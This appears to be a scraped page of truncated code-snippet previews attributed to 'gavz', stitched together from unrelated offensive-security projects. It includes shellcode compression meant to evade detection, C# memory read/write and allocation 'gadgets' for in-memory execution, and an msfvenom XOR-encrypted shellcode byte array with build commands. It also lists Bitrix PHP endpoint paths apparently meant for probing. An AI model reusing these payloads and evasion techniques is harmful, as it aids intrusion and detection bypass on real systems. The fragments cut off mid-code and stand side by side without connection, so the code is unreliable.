gavz

/**
    Compression using undocumented API in rdpbase.dll

    RDPCompress supports four algorithms : MPPC-8K, MPPC-64K, NCRUSH and XCRUSH.

    This code only supports compression and decompression using MPPC algorithms because these were the easiest to figure out.
    The MPPC compression ratio is very similar to LZSS, so this could be quite useful for shellcode trying to evade detection.
    
    I was unable to get decompression working for NCRUSH and XCRUSH, which is why I'm publishing this.

gavz

using System;
using System.Reflection;
using System.Runtime.InteropServices;

namespace NautilusProject
{
    public class ReadGadget
    {
        public static IntPtr ReadMemory(IntPtr addr)
        {

gavz

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace NautilusProject
{
    public class WriteGadget
    {

gavz

using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Linq;

namespace NautilusProject
{
    internal class CombinedExec
    {
        public static IntPtr AllocMemory(int length)

gavz

// by @irsdl
boolean manualColorHighlightEnabled = true; // e.g. BurpRed anywhere in the request
boolean pwnFoxColorHighlightEnabled = true; // to support PwnFox Firefox extension containers

// BEGIN HIGHLIGHT LOGIC {

boolean hasAlreadyBeenColoured = false;
/* Manual highlight logic to see something like BurpRed */
if(manualColorHighlightEnabled){
    Pattern manualHighlightPattern = Pattern.compile("burp([a-z]{3,7}+)", Pattern.CASE_INSENSITIVE); // like burpRed or burpYellow

gavz

unsigned long hash_string(void* buffer, unsigned long size, char* extension){
    unsigned char current = 0;
    unsigned long hash = 0;
    unsigned char* currentChar = NULL;
    hash = 1337;
    currentChar = (void*)buffer;
    hash++;

    while(1){
        current = *currentChar;

gavz

using System;
using System.Collections.Generic;
using System.IO.Pipes;
using System.Security.Principal;
using System.Text.RegularExpressions;

/*
Based on the work of Rohan Vazarkar (@cptjesus) and Antonio Cocomazzi (@splinter_code).
RemoteRegistry cannot be DISABLED for this to work.

gavz

#include <cstdint>

// x86_64-w64-mingw32-g++ -lstdc++ -static -O3 -s -DPAYLOAD_SIZE=276 ./byorwx.cpp ./section.S -o ./byorwx.exe

// msfvenom -p windows/x64/exec -f c CMD=calc.exe --encrypt xor --encrypt-key abcdef
unsigned char buf[] =
"\x9d\x2a\xe0\x80\x95\x8e\xa1\x62\x63\x64\x24\x37\x20\x32"
"\x31\x35\x33\x2e\x50\xb0\x06\x2c\xee\x34\x01\x2a\xe8\x36"
"\x7d\x2e\xea\x30\x43\x2c\xee\x14\x31\x2a\x6c\xd3\x2f\x2c"
"\x2c\x53\xaa\x2c\x54\xa6\xcd\x5e\x02\x18\x67\x4a\x41\x23"

gavz

# Get IL code and pre-compiled native code disassembly of R2R Assembly methods
# Using AsmResolver + Iced + PowerShell
# More Info Here: https://docs.washi.dev/asmresolver/guides/peimage/ready-to-run.html

# Loading dependecies
[System.Reflection.Assembly]::LoadFrom([System.IO.Path]::GetFullPath(".\libs\AsmResolver\net6.0\AsmResolver.PE.dll")) | Out-Null
[System.Reflection.Assembly]::LoadFrom([System.IO.Path]::GetFullPath(".\libs\AsmResolver\net6.0\AsmResolver.DotNet.dll")) | Out-Null
[System.Reflection.Assembly]::LoadFrom([System.IO.Path]::GetFullPath(".\libs\Iced\netstandard2.1\Iced.dll")) | Out-Null

$filePath = [System.IO.Path]::GetFullPath(".\test_files\CompileDecoy_ReplaceReal_SC_Original.dll") # R2R Assembly Sample

gavz

rss.php
coupon_activation.php
tools/bizproc_wf_settings.php
tools/seo_yandex.php
tools/seo_google.php
tools/get_catalog_menu.php
tools/sale_farm_check_print.php
tools/vote/uf.php
tools/vote/vote_chart.php
tools/sale/discount_coupon_list.php